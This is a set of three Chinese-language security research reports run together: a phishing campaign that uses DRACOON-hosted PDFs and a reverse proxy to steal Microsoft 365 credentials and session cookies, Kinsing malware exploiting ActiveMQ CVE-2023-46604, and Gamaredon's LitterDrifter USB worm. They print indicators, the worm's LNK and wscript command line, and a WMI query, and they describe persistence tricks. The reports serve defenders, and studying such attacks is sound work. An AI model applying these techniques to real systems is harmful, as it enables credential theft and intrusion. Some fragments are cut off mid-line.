最近發現的網絡釣魚活動，涉及攻擊者發送包含DRACOON.team鏈接的社交工程電子郵件。 DRACOON.team是一個以安全數據存儲、管理和文件共享功能而聞名的文件共享解決方案。當受害者被誘騙訪問電子郵件中的鏈接時，他們會收到一份託管在DRACOON上的PDF文檔。該文檔包含一個輔助鏈接，將受害者引導到攻擊者控制的服務器，該服務器模擬了Microsoft 365登錄門戶，並充當反向代理竊取受害者的登錄信息和會話cookie。 這些被盜的憑據和cookie可以用來繞過多因素身份驗證（MFA），攻擊者控制的反向代理充當介於目標和合法身份驗證終端(如Microsoft 365登錄頁面)之間的中間服務器。當受害者與虛假登錄頁面交互時，反向代理顯示真正的登錄表單，管理傳入請求，並傳遞來自合法Microsoft 365登錄頁面的響應。 當用戶在頁面上輸入受害者憑據後，可以立即觀察到使用Microsoft 365的登錄活動。該活動包括自動訪問受害者的郵箱，並進一步傳播初始網絡釣魚郵件，這些電子郵件包含用於欺騙受害者的相同鏈接，並發送到存儲在其地址簿中的聯繫人。 反向代理功能被認為與EvilProxy網絡釣魚套件有關。但是，這裡討論的最近的活動不使用重定向。相反，它使用中間鏈接到包含到攻擊者控制的基礎設施鏈接的文件。這種新方法可以繞過電子郵件安全緩解措施，因為初始鏈接似乎來自合法來源，並且沒有文件被傳遞到受害者的終端，因為包含該鏈接的託管文檔可以通過瀏覽器中的文件共享服務器與之交互。 憑證獲取事件鏈 針對這些事件，有關安全團隊已經掃描並刪除了其服務託管的潛在網絡釣魚附件。此外，被認定負責上傳附件的賬戶已被標記為違反其服務條款而被刪除。 調查釣魚郵件網絡釣魚郵件來自受害者的供應商，該供應商為他們提供特定的商品和服務。我們懷疑供應商組織內的一名用戶的電子郵件遭到攻擊，並被用來向受害者發送網絡釣魚郵件。 下圖顯示了受害者收到的釣魚電子郵件樣本的截圖，該郵件巧妙地偽裝成了一份採購訂單，它在文檔鏈接的標題中包含了供應商的名稱，使其更加合法。 釣魚郵件截圖 該鏈接將用戶重定向到以下URL: https[:]//dracoon[.]team/public/download-shares/RjqetKkzebun7rB6OWWI3kPcpZ3RruPA 這個重定向的鏈接指向一個存放在Dracoon（德國企業高度安全數據交換平台）網站上的公開共享的PDF文件，用戶可以直接與PDF文件交互，而無需下載它，這樣就減少了存儲在磁盤上的可追踪證據。 Dracoon託管PDF文件，該文件包含到攻擊者控制的反向代理服務器的鏈接 點擊鏈接將用戶重定向到一個虛假的Microsoft 365頁面，該頁面充當Microsoft 365登錄請求的反向代理，在此過程中促進了用戶憑證的盜竊。通過URL可以識別，該網站明顯是在冒充微軟365登錄頁面，合法的微軟365登錄頁面應該是https://login.microsoftonline.com/。 在攻擊者控制的反向代理服務器上託管的Microsoft 365登錄頁面截圖 在檢查登錄頁面的頁面源時，有一個對名為myscr759609.js的JavaScript文件的引用，該文件包含一組數學函數和算術運算。 查看虛假登錄頁面源數據 myscr759609.js(檢測為Trojan.HTML.PHISH.QURAAOOITB)的內容，其中包含算術和數學函數 當使用Node.js在本地執行時，myscr759609.js被解混淆，顯示如下圖所示的HTML代碼。 HTML內容清楚地表明myscr759609.js負責憑證收集、記錄這些憑證，然後通過POST請求將收集到的信息上傳到未公開的網頁。 解混淆後的JavaScript，檢測為trojan . html . phish . quraaooithb 通過檢查Microsoft 365登錄事件和MFA日誌，我們可以確認反向代理212.83.170.137的存在，正如設備登錄事件列表和相應的登錄位置所證明的那樣。通過交叉引用趨勢科技Vision One的數據和微軟365登錄事件，我們成功地確定了需要立即關注的賬戶。 檢查Microsoft 365登錄事件 此外，MFA事件還提供了有關受攻擊賬戶的寶貴信息。通過將用戶與釣魚頁面交互的時間戳與mfalog中記錄的時間戳進行比較，這些數據使我們能夠調查用戶是否在無意中洩露了他們的憑據。 檢查MFA認證日誌 基於趨勢管理的擴展檢測和響應(MxDR)的調查使用Vision One後，事件序列變得顯而易見。從截圖中可以明顯看出，這封釣魚郵件是發送到一個微軟Outlook賬戶的，用戶接著點擊了嵌入的鏈接，鏈接將他們重定向到Dracoon服務上的PDF文件。 通過Vision One檢查一系列事件 PDF文件包含一個附加鏈接，將用戶引導到反向代理憑證收集頁面，如下圖中的事件所示：託管在Dracoon服務上的文檔既可以下載，也可以通過服務內置的PDF查看器進行交互，它允許用戶通過瀏覽器與文檔進行交互。 通過Vision One檢查一系列事件 評估網絡釣魚攻擊的影響在事件響應中至關重要，這為了解組織中受影響帳戶的範圍提供了有價值的線索。經過分析，我們能夠徹底確定網絡釣魚電子郵件的收件人和那些與網絡釣魚鏈接交互的人。 此外，我們的調查還揭示了這次網絡釣魚活動中使用的一系列額外的Dracoon鏈接。這些鏈接還冒充微軟365，目的是竊取憑證並使用會話cookie繞過MFA。 安全建議MFA經常被稱讚為防止憑證盜竊和未經授權訪問的強大防禦。雖然它是一個強大的安全工具，但要認識到，當涉及到保護在線帳戶和敏感信息時，MFA並不是靈丹妙藥。 當考慮到像EvilProxy攻擊這樣的威脅時，MFA的局限性就變得很明顯了，這些攻擊者可以攔截和操縱網絡流量，有效地繞過MFA提供的附加安全層。 託管的PDF文件為攻擊者提供了規避電子郵件安全措施的有效手段。通過濫用合法的文件共享服務，攻擊者能夠在逃避檢測的同時顯著提高他們的成功率，合法服務通常可以繞過大多數現有的安全措施，使它們成為攻擊者的誘人工具。 來自已知或可信發件人的電子郵件並不能保證它們完全合法，用戶在點擊鏈接或下載附件時必須保持警惕和謹慎，即使是來自可信來源。 定期進行安全意識培訓和全面的培訓，對用戶進行安全意識教育。通過提供詳細的信息和實用的指導，用戶可以深入了解潛在的風險以及如何緩解風險。此外，有必要強調在訪問目標url之前驗證其合法性的重要性。 我們不應假設所有網址都是安全的，而應鼓勵用戶謹慎行事，並採用可靠的方法來確認所訪問網站的真實性和安全性，定期進行網絡釣魚攻擊模擬演習是提高員工意識的最佳方法。 實現防網絡釣魚MFA，通過實現能夠抵禦網絡釣魚攻擊的MFA方法(例如使用YubiKey等設備的基於fido的身份驗證或無密碼MFA)，組織可以顯著加強其身份驗證過程並防止憑證被盜。 電子郵件安全，組織可以通過實施電子郵件安全解決方案來保護員工和用戶免受惡意電子郵件的威脅。實現基於域的消息認證、報告和一致性(DMARC)、發件人策略框架(SPF)和域密鑰識別郵件(DKIM)也將增強電子郵件的安全性。 持續監控，強烈建議建立一個強大的持續監控系統，集中收集和密切監控日誌，特別是Microsoft 365訪問和MFA日誌，以便及時識別、調查和響應任何可疑的訪問活動。

我們發現利用Apache ActiveMQ漏洞CVE-2023-46604下載並攻擊Linux系統的Kinsing惡意軟件(也稱為h2miner)和加密貨幣礦工被利用時，此漏洞會導致遠程代碼執行(RCE)， Kinsing使用它來下載和安裝惡意軟件。 該漏洞本身是由於OpenWire命令未能驗證未經檢測類類型而導致RCE。 ActiveMQ(用Java編寫)是一個由Apache開發的開源協議，它實現了面向消息的中間件(MOM)。它的主要功能是在不同的應用程序之間發送消息，還包括STOMP、Jakarta Messaging (JMS)和OpenWire等附加特性。 Kinsing惡意軟件是一種主要針對基於linux的系統的嚴重威脅，可以滲透服務器並在網絡中迅速傳播。它通過利用web應用程序或配置錯誤的容器環境中的漏洞進入。 最近，Kinsing背後的攻擊組織一直在利用CVE-2023-4911 (Looney Tunables)漏洞。一旦Kinsing攻擊了一個系統，它就會部署一個加密貨幣挖掘腳本，利用主機的資源來挖掘比特幣等加密貨幣，從而對基礎設施造成嚴重破壞，並對系統性能產生負面影響。 受影響的ActiveMQ版本以下是受CVE-2023-46604漏洞影響的Apache ActiveMQ版本： Apache ActiveMQ 5.18.0 5.18.3之前的版本； Apache ActiveMQ 5.17.0 5.17.6之前的版本； Apache ActiveMQ 5.16.0 5.16.7之前的版本； 5.15.16之前的Apache ActiveMQ； Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3； Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6； Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7； Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16； 建議用戶將Java OpenWire代理和客戶機升級到版本5.15.16、5.16.7、5.17.6或5.18.3，因為其中任何一個版本都可以修復此漏洞。 CVE-2023-46604補丁差異基於AMQ-9370，我們能夠檢查漏洞出現的根本原因，與OpenWire命令解組時可拋出類類型驗證有關的問題。 OpenWire是一種二進制協議，專門設計用於處理面向消息的中間件。它充當ActiveMQ的本機連接格式，ActiveMQ是一個廣泛使用的開源消息傳遞和集成平台，與其他格式相比，OpenWire的二進制格式提供了幾個優勢，比如它對帶寬的有效利用以及支持多種消息類型的能力。這些特性使其成為需要可靠和高性能消息傳遞系統的企業和組織的理想選擇。 基於補丁差異，我們可以看到validateIsThrowable方法已經包含在BaseDataStreamMarshall類中。 validateIsThrowable方法包含在BaseDataStreamMarshall類中 無法驗證Throwable類的類類型 當編組器無法驗證Throwable (Java中表示異常和錯誤的對象)的類類型時，它可能會意外地創建並執行任何類的實例。這將導致RCE漏洞允許攻擊者在服務器或應用程序上執行任意代碼。因此，必須確保始終驗證Throwable的類類型，以防止潛在的安全風險。 檢測自11月初以來，已經出現了幾起活躍樣本。這些報告是關於積極利用CVE-2023-46604的攻擊者(例如HelloKitty勒索軟件家族背後的攻擊者)，以及Metasploit和nucleus等概念驗證漏洞。考慮到CVE-2023-46604的CVSS評分為9.8，總體檢測率仍然很低。 基於Kinsing使用的漏洞，我們提供了一個可用於掃描的YARA規則： 惡意利用CVE-2023-46604漏洞目前，存在利用ProcessBuilder方法在受影響的系統上執行命令的公開漏洞。在Kinsing的背景下，CVE-2023-46604被用來在易受攻擊的系統上下載和執行Kinsing加密貨幣礦工和惡意軟件。 使用ProcessBuilder方法進行開發 一旦成功利用，加密貨幣礦工和惡意軟件將下載惡意安裝程序，然後使用bash執行惡意腳本。 通過bash執行惡意腳本 一旦bash腳本被執行，Kinsing惡意軟件就會從命令與控制(CC)服務器為各種體系結構下載額外的二進製文件和有效負載。 從CC服務器下載額外的二進製文件和有效負載 Kinsing惡意軟件的一個有趣特徵是，它在進程、crontab和活動網絡連接中積極尋找正在活動的加密貨幣礦工，例如與Monero綁定的礦工或利用Log4Shell和WebLogic漏洞的礦工，然後繼續阻止它們的進程和網絡連接。此外，Kinsing從受攻擊主機的crontab中刪除有競爭關係的惡意軟件和礦工。 為Kinsing二進製文件分配一個Linux環境變量，然後執行它。 最後，Kinsing每分鐘添加一個cronjob來下載並執行它的惡意引導腳本。 每分鐘負責下載和執行Kinsing的惡意引導腳本的cronjob 這確保了受影響主機上的持久性，並確保最新的惡意Kinsing二進製文件在受影響主機上可用。 Kinsing通過在/etc/ld.so中加載它的rootkit來加倍地使用它的持久性和攻擊性預加載，完成一個完整的系統攻擊。 加載Kinsing rootkit“/etc/ld.so.preload” 總結CVE-2023-46604漏洞仍然在被各種攻擊者利用，例如Kinsing惡意軟件利用背後的組織，濫用此漏洞執行惡意活動。 使用有Apache ActiveMQ時必須立即採取行動，盡快修補CVE-2023-46604漏洞，並降低與Kinsing相關的風險。鑑於惡意軟件跨網絡傳播和善於利用其他漏洞的特點，當務之急要維護最新的安全補丁，定期審計配置，並監控網絡流量異常活動，這些都是綜合網絡安全戰略的關鍵組成部分。

Gamaredon又被稱為Primitive Bear、ACTINIUM和Shuckworm，它的大規模活動通常伴隨著針對特定目標的數據收集工作，這些目標的選擇一般是出於間諜目的。這些活動與部署各種機制和工具並行，機制和工具又盡可能多地保持對這些目標的訪問。其中一種工具是USB傳播蠕蟲，我們將其命名為LitterDrifter。 LitterDrifter蠕蟲是用VBS編寫的，有兩個主要功能:在USB驅動器上自動傳播，以及與廣泛、靈活的命令和控制服務器進行通信。這些特性以與組織目標一致的方式實現，在廣泛目標上維護持久的命令和控制(C2)通道。 接下來，我們將深入分析Gamaredon的LitterDrifter惡意軟件及其C2基礎設施。 Gamaredon的攻擊目標包括烏克蘭、美國、越南、智利、波蘭和德國等多個國家。 LitterDrifter提交的病毒總數 該組織最近開始部署LitterDrifter，旨在通過可移動USB驅動器傳播並保護C2通道。 LitterDrifter概述LitterDrifter是一種自我傳播的蠕蟲，具有兩個主要功能：在驅動器上傳播，並建立通往Gamaredon廣泛指揮和控制基礎設施的C2通道。這兩個功能駐留在一個以“trash.dll”形式保存到磁盤的業務流程組件中，儘管它有文件擴展名，但它實際上就是一個VBS。 LitterDrifter高級執行流程 dll作為初始的編排組件，其中運行的主要功能是解碼和執行其他模塊，並在受害者環境中保持初始持久性。 成功執行後，它將運行提取的兩個模塊： 1. 散佈器（Spreader）模塊：在系統中傳播惡意軟件，並通過優先感染mediatype=NULL的邏輯磁盤(通常與USB可移動媒體相關)，將其傳播到其他環境。 2. C2模塊：通過生成內置C2服務器的隨機子域來檢索命令和控制服務器IP地址，同時還維護一個備份選項，以便從Telegram通道檢索C2 IP地址。它的主要目的是建立與攻擊者CC服務器的通信，並執行傳入的有效負載。 Dumpster Diving（垃圾搜索）DEOBFUSCODER去混淆編碼編排組件(稱為DEOBFUSCODER)是嚴重混淆的，它是由一系列帶有字符替換混淆的字符串構造的，由7個具有名稱混淆的函數和變量組成。在“Deobfucate”操作的整個運行過程中，LitterDrifter調用一個函數，該函數將執行延遲幾秒鐘(具體時間因示例而異)，以延遲後續操作。 main函數接受兩個編碼字符串(另外兩個惡意組件)作為參數。然後，它在用戶的“Favorites”目錄下聲明了兩個路徑，用於存儲來自VBS的其他2個編碼組件的兩個解碼腳本。 為了確保其持久性，Deobfuscoder將原始腳本複製到用戶目錄中名為“trash.dll”的隱藏文件中。 腳本對提供的編碼字符串進行解碼，並將它們作為有效負載組件“jersey.webm”和擴展程序組件“jaw.wm”寫入“收藏夾”目錄，文件的名稱和擴展名以及%userprofile%中的位置因變體而異。 在創建這些文件之後，惡意軟件繼續為這兩個組件中的每一個設置計劃任務，確保它們定期執行。此外，它在註冊表運行項中為用戶的啟動項添加了一個條目，以確保它們在啟動時運行。 任務和啟動條目都使用聽起來像“RunFullMemoryDiagnostic”和“ProcessMemoryDiagnosticEvents”這樣的技術名稱進行偽裝，以顯得合法並避免引起懷疑。 編排器DEOBFUSCODER的Main Function解混淆片段 整個流程被模糊的函數和變量名以及內聯腳本的使用故意模糊，這使得一般的觀察者很難辨別其意圖和活動。 Spreader模塊分析Spreader模塊的核心本質在於遞歸地訪問每個驅動器中的子文件夾，並創建LNK誘餌快捷方式，以及隱藏的“trash.dll”文件副本。 trash.dll作為一個隱藏文件與一個誘餌LNK一起分佈在USB驅動器中 在執行時，該模塊使用Windows Management Instrumentation (WMI)查詢計算機的邏輯驅動器，並蒐索MediaType值設置為null的邏輯磁盤，這是一種通常用於識別可移動USB驅動器的方法。 LitterDrifter的散佈器組件 對於檢測到的每個邏輯驅動器，傳播程序調用createShortcutsInSubfolders函數。在這個函數中，它將所提供文件夾的子文件夾迭代到深度2。 對於每個子文件夾，它使用createsshortcut函數作為“Create LNK”操作的一部分，該操作負責生成具有特定屬性的快捷方式。這些快捷方式是從代碼中的數組中隨機選擇名稱的LNK文件。一個誘餌名稱示例如'Bank_accоunt', 'постановa', 'Bank_accоunt', 'службовa', 'cоmpromising_evidence'。 LNK文件使用wscript.exe***執行帶有指定參數“”“trash.dll”“/webm//e:vbScript//b/wm/cal”的“trash.dll”。除了生成快捷方式外，該函數還在子文件夾中創建一個隱藏的“trash.dll”副本。 Spreader組件中用於迭代子文件夾的函數 C2模塊分析：清除垃圾Gamaredon的CC方法是非常獨特的，因為它使用域作為C2服務器的流通IP地址的佔位符。 在嘗試聯繫C2服務器之前，腳本檢查%TEMP%文件夾中是否有一個現有的C2配置文件，該文件的名稱在惡意軟件中是硬編碼的。這種機製作為惡意軟件的自檢，驗證它是否已經感染了設備。如果存在，當前執行可能只是由前面討論的持久性機制觸發的計劃執行；如果沒有現有的配置文件，惡意軟件將切換設備並使用WMI查詢ping Gamaredon的其中一個域：select * from win32_pingstatus where address='Write LitterDrifter使用WMI查詢檢索C2 IP地址 有了IP地址，LitterDrifter將IP構造成URL。格式通常為http:// 最終的結果是一個用戶代理，看起來類似於mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/88.0.4324.152 yabrowser/21.2.3.106 yowser/2.5 safari/537.36; LitterDrifter準備HTTP請求，構造URL和用戶代理 請求的HTTP標頭也經過精心定制。例如，在一個樣本中，Referer字段包含https://www.crimea.kp.ru/daily/euromaidan/，它還在Cookie字段中隱藏了Accept-Language和字符串marketCookie的一些細節。 HTTP請求函數 LitterDrifter使用一個失敗計數器來選擇哪個C2方法是相關的。每次C2未能返回有效負載或Telegram備份通道時，失敗計數器都會增加，LitterDrifter從中提取替代C2。代碼流表明，要返回的第一個答案通常是一個Telegram頻道ID，它保存在備份文件中。 根據失敗計數，LitterDrifter選擇連接哪個C2： 1.如果失敗計數器當前設置為0，則對保存在配置文件中的文件執行請求。 2.如果失敗計數器當前設置為1，LitterDrifter將嘗試使用WMI Query解析其嵌入的C2域，如前所述。 3.如果失敗計數器設置為2,LitterDrifter嘗試連接到從Telegram備份通道提取的C2，使用不同的用戶代理和https://www.interfax.ru/tags/的Referer，這是另一個俄羅斯新聞網站，它會從中提取一個用作C2的IP地址。 Gamaredon的Telegram頻道隱藏了一個CC的IP地址 如果在C2應答中找到有效負載，LitterDrifter將嘗試解碼它。它打開所有base64內容，並嘗試運行解碼後的數據。根據分析，負載沒有下載到大多數目標。 LitterDrifter的失敗計數選項和接收有效負載的執行(去混淆) 基礎設施在整個分析過程中，Gamaredon在這次行動中使用的基礎設施有明顯的模式。包括註冊模式，因為Gamaredon的LitterDrifter使用的所有域名都是由REGRU-RU註冊的，並且是TLD .ru的一部分。 這些發現與過去關於Gamaredon基礎設施的其他報告一致。 基於其中的一些模式，我們能夠將特定的域和子域與LitterDriffter的活動聯繫起來，並將其他域與Gamaredon的其他活動集群聯繫起來。 在LitterDrifter活動中，C2模塊通過WMI查詢獲得gamaredon擁有的域的解析。它通過使用隨機單詞和數字生成硬編碼域的隨機子域來實現這一點，因此每個域都顯示出不同範圍的相關子域。有些域只有幾個子域，而另一些則有幾百個子域。下圖表顯示了每個域的子域數量: 每個域的子域數量 如前所述，對Gamaredon域的WMI查詢返回一個IP地址，該地址用作活動的操作C2。平均而言，一個IP地址可以運行大約28小時。但是，作為活動C2的IP地址通常一天會更改幾次，所使用的所有IP地址都可能屬於同一子網，如下所示: 過去兩個月每天的CC IP地址數目 總結很明顯，LitterDrifter是為支持大規模收集操作而設計的，它利用簡單而有效的技術，盡可能觸及廣泛的目標，但LitterDrifter並不依賴於突破性的技術，可能看起來是一個相對簡單的惡意軟件。